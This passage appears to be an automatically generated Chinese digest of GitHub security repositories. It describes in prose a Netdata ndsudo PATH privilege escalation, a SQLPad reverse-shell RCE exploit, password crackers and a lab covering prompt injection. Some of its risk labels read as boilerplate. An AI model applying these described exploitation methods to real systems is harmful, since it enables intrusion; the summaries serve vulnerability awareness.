> 漏洞原理:ndsudo是SUID-root程序,它通过PATH查找并执行命令,如果用户控制的PATH中存在恶意程序,则会导致提权。
|
||
|
||
> 利用方法:构造一个恶意程序,例如反弹shell的bash程序,将其放置于PATH中,然后通过ndsudo调用受影响的命令。例如:/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list。
|
||
|
||
> 修复方案:升级Netdata到1.45.3或1.45.0-169版本;在ndsudo中使用绝对路径或对PATH进行严格控制。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Netdata ndsudo
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该漏洞影响广泛使用的Netdata监控系统,可以导致本地提权到root权限。仓库提供了详细的漏洞描述和利用方法,包括POC代码,并且给出了修复建议。这些信息对于安全研究人员评估漏洞,以及管理员进行修复非常有价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### SQLPad-RCE-Exploit-CVE-2022-0944 - 针对SQLPad的远程代码执行漏洞利用脚本
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [SQLPad-RCE-Exploit-CVE-2022-0944](https://github.com/LipeOzyy/SQLPad-RCE-Exploit-CVE-2022-0944) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `漏洞利用` |
|
||
| 更新类型 | `SECURITY_CRITICAL` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
更新的内容提供CVE-2022-0944漏洞的远程代码执行(RCE)利用脚本,实现在SQLPad中注入恶意代码触发反弹shell,具备实际渗透测试价值。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 包含针对CVE-2022-0944漏洞的利用代码 |
|
||
| 2 | 利用PHP实现远程命令执行,通过注入payload获得反向shell |
|
||
| 3 | 明确指示利用流程和参数配置,具有实战应用价值 |
|
||
| 4 | 影响SQLPad应用的远程代码执行能力 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用PHP脚本构造JSON payload,注入child_process模块执行bash反弹shell命令
|
||
|
||
> 通过伪造请求访问/v1/test-connection接口实现代码注入
|
||
|
||
> 实现原理基于漏洞中的代码注入点,攻击目标为SQLPad两端点
|
||
|
||
> 安全影响分析:如果成功触发,攻击者可在受影响系统上远程执行任意命令,控制系统完全危害严重
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• SQLPad服务器的API端点
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库基于已披露漏洞的实际利用代码,包含具体利用逻辑,直接可用于渗透测试或漏洞验证,具有较高的安全价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### agartha - Burp Suite注入与权限检测扩展
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [agartha](https://github.com/volkandindar/agartha) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全功能` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **5**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库为Burp Suite开发的扩展工具,支持检测LFI、RCE、SQL注入、权限和访问控制漏洞,支持动态负载生成与HTTP请求转换,增强安全漏洞检测能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 提供多种注入漏洞识别(LFI、RCE、SQLi) |
|
||
| 2 | 支持自动化payload生成与脚本转换 |
|
||
| 3 | 增强XSS利用手段 |
|
||
| 4 | 在更新内容中涉及脚本修改和配置调整,针对安全检测功能的优化 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 结合Burp Suite扩展机制,利用动态payload、脚本自动生成和请求转换技术来识别安全漏洞
|
||
|
||
> 确保检测流程的灵活性与自动化,提升渗透测试效率
|
||
|
||
> 更新内容主要在脚本配置与操作流程方面,未披露具体漏洞利用代码或漏洞修复细节
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• Burp Suite扩展脚本和请求处理模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该扩展工具直接面向网络安全漏洞检测,涵盖注入、权限、XSS等关键漏洞类型,支持自动化payload和脚本转换,具有实用价值。更新内容优化了脚本操作流程,间接增强检测效率和效果。
|
||
</details>
|
||
|
||
---
|
||
|
||
### NetExec - 网络远程执行工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [NetExec](https://github.com/Pennyw0rth/NetExec) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全修复` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **10**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新主要在RDP远程执行方面增加了命令执行功能,包括命令参数和脚本支持,加入了执行前确认提示,修复了命令失败的错误输出,增强了安全操作的灵活性。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 增强RDP远程命令执行功能,加入命令参数支持 |
|
||
| 2 | 增加命令执行确认提示避免误操作 |
|
||
| 3 | 修复命令执行错误输出未检测的问题 |
|
||
| 4 | 调整了命令执行的延时设置 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 在协议参数中新增-X参数支持PowerShell命令,-x参数支持普通命令。
|
||
|
||
> 在执行前加入用户确认提示,防止误操作导致连接中断。
|
||
|
||
> 修正了shell命令中没有支持多类型shell和错误处理的问题,如调整了cmd和powershell命令的脚本内容。
|
||
|
||
> 日志系统中关闭了相关模块,提升运行效率,并设置了异步框架的日志级别。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• nxc/netexec.py
|
||
• nxc/protocols/rdp.py
|
||
• nxc/protocols/rdp/proto_args.py
|
||
• nxc/logger.py
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该更新大幅增强了远程命令执行的功能,支持PowerShell和普通命令,加入安全确认机制,有助于安全测试和漏洞利用,有明确安全相关改善,符合价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### cWee - 基于nvdlib的高级CVEs搜索工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [cWee](https://github.com/awwfensive/cWee) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `漏洞利用框架/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **8**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了基于nvdlib的CVEs搜索,支持多种筛选条件,旨在提升漏洞研究效率,符合安全渗透和漏洞利用目标。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能:基于nvdlib的CVEs多条件搜索工具 |
|
||
| 2 | 安全相关特性:支持多过滤条件,简化漏洞信息查询 |
|
||
| 3 | 研究价值:便于渗透测试和漏洞研究人员快速定位目标 |
|
||
| 4 | 相关性说明:与搜索关键词'security tool'高度相关,属于安全研究和漏洞利用领域 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 技术实现方案:通过封装nvdlib库,实现多条件CVEs查询接口,支持关键词、CPE、Severity等多维过滤
|
||
|
||
> 安全机制分析:未涉及安全防护机制,主要专注于信息收集与漏洞研究的便利性
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• CVEs数据库存取
|
||
• 安全研究工具界面
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库包含高质量的CVEs搜索代码,具有实用价值,且紧扣安全研究和漏洞利用主题,技术内容丰富,未依赖仅为文档或基础工具。
|
||
</details>
|
||
|
||
---
|
||
|
||
### password-strength-analyzer - 基于Java的密码强度分析与测试工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [password-strength-analyzer](https://github.com/Manojgithub19/password-strength-analyzer) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **12**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个纯Java实现的密码强度分析工具,包含高质量的密码评估算法和现代GUI界面,主要用于密码安全研究与渗透测试。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能为密码强度分析,包括entropy计算、多因素评估和安全建议 |
|
||
| 2 | 具有现代化的GUI界面,增强研究和展示效果 |
|
||
| 3 | 采用复杂的密码评估算法,支持漏洞利用或安全分析研究 |
|
||
| 4 | 与搜索关键词(security tool)高度相关,关注密码安全领域 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Java编写,包含密码强度算法、多因素分析及用户交互界面,算法涉及熵、模式识别与字符多样性评估
|
||
|
||
> GUI实现现代UI设计和动画效果,结合密码强度评估结果的实时反馈机制,具备技术实质性内容
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 密码分析算法模块
|
||
• GUI用户界面
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库在密码安全分析领域具有较深的技术内容,提供完整的密码强度评估方案和交互展示,属于安全研究和渗透测试中的密码测评工具,符合搜索关键词的安全工具定位,并非仅为基础框架或通用工具。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Web-Sec - 批量安装50+安全渗透工具的脚本
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Web-Sec](https://github.com/gourav04-hash/Web-Sec) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具/渗透测试工具集/漏洞利用支持` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了一个自动化脚本,用于在渗透测试和漏洞发现中快速部署一系列核心安全工具,提升安全研究效率。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 自动化批量安装50+安全工具,涵盖子域扫描、漏洞检测、端口扫描等 |
|
||
| 2 | 主要面向渗透测试、安全研究和漏洞利用场景 |
|
||
| 3 | 提供高效、安全的工具部署方案,提升安全攻防能力 |
|
||
| 4 | 与搜索关键词 'security tool' 相关,高度集成实用安全测试工具 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Shell脚本自动化安装,支持多工具批量部署,兼容多类别安全工具
|
||
|
||
> 具有错误容错机制,保证全部工具的完整安装和配置
|
||
|
||
> 集成工具分类管理,方便后续安全测试和渗透流程
|
||
|
||
> 基础依赖自动安装,确保环境准备的完整性
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 安全工具集、渗透测试环境、Linux系统的工具管理模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库通过自动化安装多类别渗透测试工具,实现大规模环境快速部署,便于安全研究人员进行漏洞验证和攻防演练,符合安全工具资源集成和实战目的。
|
||
</details>
|
||
|
||
---
|
||
|
||
### vulnscanner - 基于Python的网络漏洞扫描工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [vulnscanner](https://github.com/AbdelrahmanAbushamaleh/vulnscanner) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
VulnScanner是一款自动化网络漏洞扫描工具,能检测开放端口、识别服务并生成安全报告,适用于漏洞评估和渗透测试。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 核心功能:网络端口扫描及服务识别 |
|
||
| 2 | 安全特性:自动化报告生成,辅助漏洞评估 |
|
||
| 3 | 研究价值:作为渗透测试辅助工具,提供实用扫描功能 |
|
||
| 4 | 相关性说明:关键词 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 利用Python脚本结合Nmap实现扫描功能,处理扫描结果并生成报告
|
||
|
||
> 具备端口检测、服务识别和报告自动化机制,支持扩展
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 网络接口、端口扫描模块、报告生成模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库为网络漏洞扫描工具,具有实质性技术内容和应用价值,符合安全研究及渗透测试的需求,提供了自动化扫描和报告功能,符合核心关键词“security tool”的定义。
|
||
</details>
|
||
|
||
---
|
||
|
||
### sweetbyte - 复杂多层安全检测工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [sweetbyte](https://github.com/hambosto/sweetbyte) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全修复/安全防护` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **19**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库优化了header的安全验证机制,增强 header 结构的完整性和抗篡改能力,加入多层防护措施,包括完整性哈希、认证标签及校验码,提升了安全保障水平。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 实现多层header安全验证机制 |
|
||
| 2 | 引入完整性哈希、HMAC认证和校验码 |
|
||
| 3 | 提升header安全特性,防止篡改与损坏 |
|
||
| 4 | 影响header验证流程,增强整体安全性 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 引入Protector类,计算结构完整性哈希、认证标签和校验码,确保header未被篡改
|
||
|
||
> 重构header结构,删除了nonce字段,减小header体积,简化验证逻辑
|
||
|
||
> Header验证流程包括格式验证、完整性验证、身份认证和一致性校验
|
||
|
||
> 通过多重验证保障header的完整性和认证,强化对安全漏洞和篡改行为的防御
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• header结构定义
|
||
• header的序列化与反序列化逻辑
|
||
• header的验证流程
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该次更新显著提升了header的安全性,对抗篡改和结构损坏的威胁,符合安全漏洞修复和安全防护增强的价值判断标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### DependencyCheckGUI - 基于GUI的依赖漏洞检测工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [DependencyCheckGUI](https://github.com/hadesninja/DependencyCheckGUI) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全工具/渗透测试辅助` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库实现了利用OWASP依赖检测工具的图形界面,简化漏洞扫描流程,提供依赖安全检测功能,与搜索关键词安全工具高度相关。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 集成OWASP Dependency Check进行依赖漏洞检测 |
|
||
| 2 | 提供依赖扫描的图形化界面操作,简化渗透测试中的依赖审计 |
|
||
| 3 | 支持定制化报告和NVD数据管理,具备安全研究价值 |
|
||
| 4 | 与搜索关键词“security tool”相关,旨在辅助安全漏洞检测 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 基于Python + Tkinter(或PyQt)实现GUI,调用命令行工具执行漏洞扫描
|
||
|
||
> 集成自动下载和更新Dependency-Check工具,支持NVD数据的刷新与清理
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 依赖管理与扫描模块
|
||
• 安全漏洞检测流程
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该项目将漏洞扫描工具集成到易用的GUI中,方便安全人员和渗透测试人员快速执行依赖漏洞检测,提供实用技术内容,符合安全研究与渗透测试需求,价值明显。
|
||
</details>
|
||
|
||
---
|
||
|
||
### WordCrunch - 面向安全测试的高级词表管理工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [WordCrunch](https://github.com/SilverHaze99/WordCrunch) |
|
||
| 风险等级 | `LOW` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
WordCrunch是一个针对安全研究与渗透测试的命令行工具,提供强大的词表过滤、转换和统计分析功能,支持大规模密码词表的处理,增强了信息搜集与关键词过滤能力。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 主要功能:词表处理、过滤、转换、统计分析 |
|
||
| 2 | 安全相关特性:支持密码分析、词表优化,提升渗透测试效率 |
|
||
| 3 | 研究价值:提供大规模词表管理方案,辅助密码安全研究 |
|
||
| 4 | 相关性说明:关键词‘security tool’关联于安全测试及渗透试验中的词表管理工具 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 技术实现方案:使用Python实现,支持多文件格式(纯文本、压缩文件),利用正则与过滤逻辑实现复杂筛选
|
||
|
||
> 安全机制分析:无明显安全风险,工具用作信息收集和词表处理,不涉及漏洞利用或攻击机制
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 密码词表数据处理模块
|
||
• 文件读取与写入组件
|
||
• 过滤与转换逻辑
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库核心功能集中于词表的筛选、过滤和分析,适用安全测试中的信息搜集环节。满足‘以安全研究、漏洞利用或渗透测试为主要目的’要求,同时提供丰富技术内容,支持安全工作流程,符合价值标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Password-Cracker - 多功能密码破解工具
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Password-Cracker](https://github.com/KuldeepChauahan/Password-Cracker) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供用于PDF和ZIP文件的暴力破解,包括哈希破解,旨在快速恢复密码,涉及安全漏洞利用能力的提升和破解技术。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 支持PDF和ZIP密码暴力破解 |
|
||
| 2 | 集成哈希破解功能 |
|
||
| 3 | 用于密码恢复的安全漏洞利用(如弱密码) |
|
||
| 4 | 未明确修复安全漏洞,但功能具有潜在安全风险 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用暴力破解算法对PDF、ZIP文件进行密码攻击,可能利用弱密码或密码学漏洞进行快速破解
|
||
|
||
> 安全影响分析:该工具被用于密码破解,存在被滥用进行非法访问的风险,非专门的安全防护工具,但在安全检测中可用于测试密码强度或演练漏洞点
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• PDF文件处理模块
|
||
• ZIP文件处理模块
|
||
• 哈希破解算法
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
该仓库包含直接用于密码破解的工具,具有提升安全渗透测试效率的潜力,尤其在测试密码强度和验证弱密码的场景中具有实际价值,符合安全相关漏洞利用和安全研究的标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### C2TC_corejava - 网络安全漏洞检测和利用框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [C2TC_corejava](https://github.com/MohamedSalman27/C2TC_corejava) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **2**
|
||
- 变更文件数: **33**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新主要添加了多种数据库操作相关的示例,包括存储过程调用、权限管理、元数据查询等,部分内容涉及数据库安全操作和漏洞利用,包括存储过程创建与调用,参数化查询,有潜在的SQL注入风险点。系统安全性提升有限,但提供了渗透测试的技术示例。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 多种数据库操作示例,包括存储过程和参数化查询 |
|
||
| 2 | 添加了存储过程调用与删除操作示例 |
|
||
| 3 | 涉及数据库连接与元数据查询,潜在SQL注入风险 |
|
||
| 4 | 包含数据库权限和连接管理的安全学习资料 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 代码中对存储过程的创建、调用、删除进行了示范,应注意存储过程的安全性和权限设置,避免SQL注入和权限滥用。
|
||
|
||
> 采用参数化查询减少SQL注入风险,但部分代码中未必充分验证输入合法性,存在漏洞风险。
|
||
|
||
> 数据库连接信息明文存放,可能泄露敏感信息,应加强访问控制和加密措施。
|
||
|
||
> 利用数据库元数据和存储过程可以进行信息收集,帮助渗透测试中的信息收集步骤。
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 数据库存储过程
|
||
• JDBC连接与查询模块
|
||
• 权限管理与安全配置
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
内容虽然未直接提供漏洞利用代码,但展示了数据库操作的多种技术,具有学习和实践价值,尤其是存储过程和参数化查询在安全检测与漏洞利用中的应用。提供了有关安全漏洞潜在点的技术示例,可用于渗透测试和安全增强。
|
||
</details>
|
||
|
||
---
|
||
|
||
### AI_Server-Comphrehensive_Security_System - 基于AI的DDoS检测与监控系统
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [AI_Server-Comphrehensive_Security_System](https://github.com/Pritam181/AI_Server-Comphrehensive_Security_System) |
|
||
| 风险等级 | `MEDIUM` |
|
||
| 安全类型 | `安全研究` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库利用预训练AI模型实现对网络流量的实时监控与DDoS攻击预测,符合安全研究和漏洞利用的核心需求。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 利用AI模型进行DDoS检测,有一定的攻防研究价值 |
|
||
| 2 | 提供实时流量分析和预测功能,属于安全研究和渗透测试范畴 |
|
||
| 3 | 符合网络安全基础设施检测与监控的研究方向 |
|
||
| 4 | 与搜索关键词‘AI Security’高度相关,强调AI在安全中的应用 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用机器学习模型(随机森林)对请求行为进行分类预测(正常或DDoS攻击)
|
||
|
||
> 集成Flask作为Web框架,提供实时监控和预测接口,便于漏洞验证和渗透检测
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• 网络流量监控系统
|
||
• AI模型预测模块
|
||
• Web接口与实时数据处理
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
仓库核心功能为利用AI模型进行网络攻击检测,符合安全研究和漏洞利用的目标。其技术实现对渗透测试和漏洞验证具有实用价值,且内容实质性强,符合科研和攻防应用标准。
|
||
</details>
|
||
|
||
---
|
||
|
||
### Bitcoin-Enterprise-Suite - 基于Rust的比特币安全工具与智能合约框架
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [Bitcoin-Enterprise-Suite](https://github.com/FusionpactTech/Bitcoin-Enterprise-Suite) |
|
||
| 风险等级 | `CRITICAL` |
|
||
| 安全类型 | `安全修复/漏洞利用/安全研究` |
|
||
| 更新类型 | `SECURITY_IMPROVEMENT` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **5**
|
||
- 变更文件数: **75**
|
||
|
||
#### 💡 分析概述
|
||
|
||
此次更新主要涉及多个安全相关的库模块的首次发布时间,包括AICRM(合规与风险管理)、BiSCOL(隐私智能合约)、CCI-SAT(跨链转账)、IMO-EO(挖矿优化)等核心安全及渗透测试工具,全面提升比特币生态系统的安全性和隐私保护能力。更新内容中新增了完整的安全架构、威胁模型、密码学规范以及安全监测和漏洞修复指南,明确强调安全机制的落地执行,增强了系统整体的安全防护措施。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 多安全核心库首次版本发布,涵盖合规、隐私、跨链、挖矿等关键安全功能 |
|
||
| 2 | 新增安全架构、威胁模型、密码学和安全通讯指南文档 |
|
||
| 3 | 整合自动化安全扫描、漏洞修复和安全发布流程,提升安全响应能力 |
|
||
| 4 | 实现复杂密钥管理、零知识证明、智能合约隐私保护等高级安全技术 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 采用Rust编程语言确保性能与安全,集成多种密码算法(ECDSA、Schnorr、Bulletproofs、哈希函数)
|
||
|
||
> 融合多层防御策略:输入验证、访问控制、多签验证、零知识证明、安全通信等
|
||
|
||
> 基于零知识技术实现 confidential smart contracts,跨链资产的安全桥接和原子交换
|
||
|
||
> 引入全面的安全威胁建模与防护策略,确保系统抵御外部攻击和内部漏洞
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AI合规与风险管理模块(aicrm-sdk)
|
||
• 隐私智能合约平台(biscol)
|
||
• 跨链资产互操作协议(cci-sat)
|
||
• 挖矿效率与能源优化框架(imo-eo)
|
||
• 安全架构、密码学标准和安全通告监控模块
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
<summary>展开查看详细评估</summary>
|
||
|
||
此次更新显著增强了比特币生态中关键安全模块的功能,涵盖漏洞利用、隐私保护、跨链安全和挖矿安全等核心领域,符合安全研究中的漏洞利用、漏洞修复以及安全工具应用标准,对提升整体系统安全态势具有重要价值。
|
||
</details>
|
||
|
||
---
|
||
|
||
### ai-cloud-security-lab - AI与云安全实践与攻防测试平台
|
||
|
||
#### 📌 仓库信息
|
||
|
||
| 属性 | 详情 |
|
||
|------|------|
|
||
| 仓库名称 | [ai-cloud-security-lab](https://github.com/shahabbaloch101/ai-cloud-security-lab) |
|
||
| 风险等级 | `HIGH` |
|
||
| 安全类型 | `安全研究/漏洞利用/渗透测试` |
|
||
|
||
#### 📊 代码统计
|
||
|
||
- 分析提交数: **1**
|
||
- 变更文件数: **1**
|
||
|
||
#### 💡 分析概述
|
||
|
||
该仓库提供了AI安全与云安全领域的实操演练、工具和方案,包括模型投毒、提示注入、云服务滥用等,涵盖渗透测试和安全研究内容。
|
||
|
||
#### 🔍 关键发现
|
||
|
||
| 序号 | 发现内容 |
|
||
|------|----------|
|
||
| 1 | 集成AI安全攻击(Prompt Injection、Model Poisoning)和云安全渗透测试(AWS、IAM、Metadata Exploitation) |
|
||
| 2 | 提供实际攻防演练环境和防护工具 |
|
||
| 3 | 强调实质性技术学习与攻防研究价值 |
|
||
| 4 | 内容紧密结合AI安全关键词,核心功能在AI与云安全攻防 |
|
||
|
||
#### 🛠️ 技术细节
|
||
|
||
> 包括基于Docker的实验环境,集成LLM提示模糊测试、数据污染生成、云服务滥用脚本等技术方案
|
||
|
||
> 体现模型投毒、提示注入等AI相关漏洞利用技术,以及云环境下的渗透攻击机制分析
|
||
|
||
|
||
#### 🎯 受影响组件
|
||
|
||
```
|
||
• AI模型接口与训练环境
|
||
• 云服务(AWS、IAM、元数据服务)
|
||
• 安全测试工具与脚本
|
||
```
|
||
|
||
#### ⚡ 价值评估
|
||
|
||
<details>
|
||
